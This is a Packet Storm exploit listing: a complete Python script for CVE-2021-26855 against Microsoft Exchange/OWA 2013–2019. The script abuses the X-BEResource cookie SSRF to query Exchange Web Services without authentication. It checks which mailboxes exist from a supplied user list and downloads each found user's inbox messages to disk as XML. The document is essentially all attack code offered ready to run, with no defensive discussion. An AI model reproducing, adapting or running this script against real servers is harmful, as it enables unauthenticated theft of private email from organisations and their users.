Lucene search

K
packetstormGonzalo VillegasPACKETSTORM:162610
HistoryMay 18, 2021 - 12:00 a.m.

Microsoft Exchange 2019 Unauthenticated Email Download

2021-05-1800:00:00
Gonzalo Villegas
packetstormsecurity.com
282
`# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download  
# Date: 03-11-2021  
# Exploit Author: Gonzalo Villegas a.k.a Cl34r  
# Vendor Homepage: https://www.microsoft.com/  
# Version: OWA Exchange 2013 - 2019  
# Tested on: OWA 2016  
# CVE : CVE-2021-26855  
# Details: checking users mailboxes and automated downloads of emails  
  
import requests  
import argparse  
import time  
  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
  
__proxies__ = {"http": "http://127.0.0.1:8080",  
"https": "https://127.0.0.1:8080"} # for debug on proxy  
  
  
# needs to specifies mailbox, will return folder Id if account exists  
payload_get_folder_id = """<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"   
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"   
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Body>  
<m:GetFolder>  
<m:FolderShape>  
<t:BaseShape>AllProperties</t:BaseShape>  
</m:FolderShape>  
<m:FolderIds>  
<t:DistinguishedFolderId Id="inbox">  
<t:Mailbox>  
<t:EmailAddress>{}</t:EmailAddress>  
</t:Mailbox>  
</t:DistinguishedFolderId>  
</m:FolderIds>  
</m:GetFolder>  
</soap:Body>  
</soap:Envelope>  
  
"""  
# needs to specifies Folder Id and ChangeKey, will return a list of messages Ids (emails)  
payload_get_items_id_folder = """<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"   
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"   
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Body>  
<m:FindItem Traversal="Shallow">  
<m:ItemShape>  
<BaseShape>AllProperties</BaseShape></m:ItemShape>  
<SortOrder/>  
<m:ParentFolderIds>  
<t:FolderId Id="{}" ChangeKey="{}"/>  
</m:ParentFolderIds>  
<QueryString/>  
</m:FindItem>  
</soap:Body>  
</soap:Envelope>  
"""  
  
# needs to specifies Id (message Id) and ChangeKey (of message too), will return an email from mailbox  
payload_get_mail = """<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"   
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"   
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Body>  
<GetItem xmlns="http://schemas.microsoft.com/exchange/services/2006/messages"   
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" Traversal="Shallow">  
<ItemShape>  
<t:BaseShape>Default</t:BaseShape>  
</ItemShape>  
<ItemIds>  
<t:ItemId Id="{}" ChangeKey="{}"/>  
</ItemIds>  
</GetItem>  
</soap:Body>  
</soap:Envelope>  
"""  
  
  
def getFQDN(url):  
print("[*] Getting FQDN from headers")  
rs = requests.post(url + "/owa/auth.owa", verify=False, data="evildata")  
if "X-FEServer" in rs.headers:  
return rs.headers["X-FEServer"]  
else:  
print("[-] Can't get FQDN ")  
exit(0)  
  
  
def extractEmail(url, uri, user, fqdn, content_folderid, path):  
headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn),  
"Content-Type": "text/xml",  
"User-Agent": "Mozilla pwner"}  
from xml.etree import ElementTree as ET  
dom = ET.fromstring(content_folderid)  
for p in dom.findall('.//{http://schemas.microsoft.com/exchange/services/2006/types}Folder'):  
id_folder = p[0].attrib.get("Id")  
change_key_folder = p[0].attrib.get("ChangeKey")  
data = payload_get_items_id_folder.format(id_folder, change_key_folder)  
random_uris = ["auth.js", "favicon.ico", "ssq.js", "ey37sj.js"]  
rs = requests.post(url + uri, data=data, headers=headers, verify=False)  
if "ErrorAccessDenied" in rs.text:  
print("[*] Denied ;(.. retrying")  
t_uri = uri.split("/")[-1]  
for ru in random_uris:  
print("[*] Retrying with {}".format(uri.replace(t_uri, ru)))  
rs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False)  
if "NoError" in rs.text:  
print("[+] data found, dowloading email")  
break  
print("[+]Getting mails...")  
dom_messages = ET.fromstring(rs.text)  
messages = dom_messages.find('.//{http://schemas.microsoft.com/exchange/services/2006/types}Items')  
for m in messages:  
id_message = m[0].attrib.get("Id")  
change_key_message = m[0].attrib.get("ChangeKey")  
data = payload_get_mail.format(id_message, change_key_message)  
random_uris = ["auth.js", "favicon.ico", "ssq.js", "ey37sj.js"]  
rs = requests.post(url + uri, data=data, headers=headers, verify=False)  
if "ErrorAccessDenied" in rs.text:  
print("[*] Denied ;(.. retrying")  
t_uri = uri.split("/")[-1]  
for ru in random_uris:  
print("[*] Retrying with {}".format(uri.replace(t_uri, ru)))  
rs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False)  
if "NoError" in rs.text:  
print("[+] data found, downloading email")  
break  
  
try:  
f = open(path + "/" + user.replace("@", "_").replace(".", "_")+"_"+change_key_message.replace("/", "").replace("\\", "")+".xml", 'w+')  
f.write(rs.text)  
f.close()  
except Exception as e:  
print("[!] Can't write .xml file to path (email): ", e)  
  
  
def checkURI(url, fqdn):  
headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn),  
"Content-Type": "text/xml",  
"User-Agent": "Mozilla hehe"}  
arr_uri = ["//ecp/xxx.js", "/ecp/favicon.ico", "/ecp/auth.js"]  
for uri in arr_uri:  
rs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format("[email protected]"),  
headers=headers)  
#print(rs.content)  
if rs.status_code == 200 and "MessageText" in rs.text:  
print("[+] Valid URI:", uri)  
calculated_domain = rs.headers["X-CalculatedBETarget"].split(".")  
if calculated_domain[-2] in ("com", "gov", "gob", "edu", "org"):  
calculated_domain = calculated_domain[-3] + "." + calculated_domain[-2] + "." + calculated_domain[-1]  
else:  
calculated_domain = calculated_domain[-2] + "." + calculated_domain[-1]  
return uri, calculated_domain  
#time.sleep(1)  
print("[-] No valid URI found ;(")  
exit(0)  
  
  
def checkEmailBoxes(url, uri, user, fqdn, path):  
headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn),  
"Content-Type": "text/xml",  
"User-Agent": "Mozilla hehe"}  
rs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format(user),  
headers=headers)  
#time.sleep(1)  
#print(rs.content)  
if "ResponseCode" in rs.text and "ErrorAccessDenied" in rs.text:  
print("[*] Valid Email: {} ...but not authenticated ;( maybe not vulnerable".format(user))  
if "ResponseCode" in rs.text and "NoError" in rs.text:  
print("[+] Valid Email Found!: {}".format(user))  
extractEmail(url, uri, user, fqdn, rs.text, path)  
if "ResponseCode" in rs.text and "ErrorNonExistentMailbox" in rs.text:  
print("[-] Not Valid Email: {}".format(user))  
  
  
def main():  
__URL__ = None  
__FQDN__ = None  
__mailbox_domain__ = None  
__path__ = None  
print("[***** OhhWAA *****]")  
parser = argparse.ArgumentParser(usage="Basic usage python %(prog)s -u <url> -l <users.txt> -p <path>")  
parser.add_argument('-u', "--url", help="Url, provide schema and not final / (eg https://example.org)", required=True)  
parser.add_argument('-l', "--list", help="Users mailbox list", required=True)  
parser.add_argument("-p", "--path", help="Path to write emails in xml format", required=True)  
parser.add_argument('-f', "--fqdn", help="FQDN", required=False, default=None)  
parser.add_argument("-d", "--domain", help="Domain to check mailboxes (eg if .local dont work)", required=False, default=None)  
args = parser.parse_args()  
__URL__ = args.url  
__FQDN__ = args.fqdn  
__mailbox_domain__ = args.domain  
__list_users__ = args.list  
__valid_users__ = []  
__path__ = args.path  
if not __FQDN__:  
__FQDN__ = getFQDN(__URL__)  
print("[+] Got FQDN:", __FQDN__)  
  
valid_uri, calculated_domain = checkURI(__URL__, __FQDN__)  
  
if not __mailbox_domain__:  
__mailbox_domain__ = calculated_domain  
  
list_users = open(__list_users__, "r")  
for user in list_users:  
checkEmailBoxes(__URL__, valid_uri, user.strip()+"@"+__mailbox_domain__, __FQDN__, __path__)  
  
print("[!!!] FINISHED OhhWAA")  
  
  
if __name__ == '__main__':  
main()  
  
`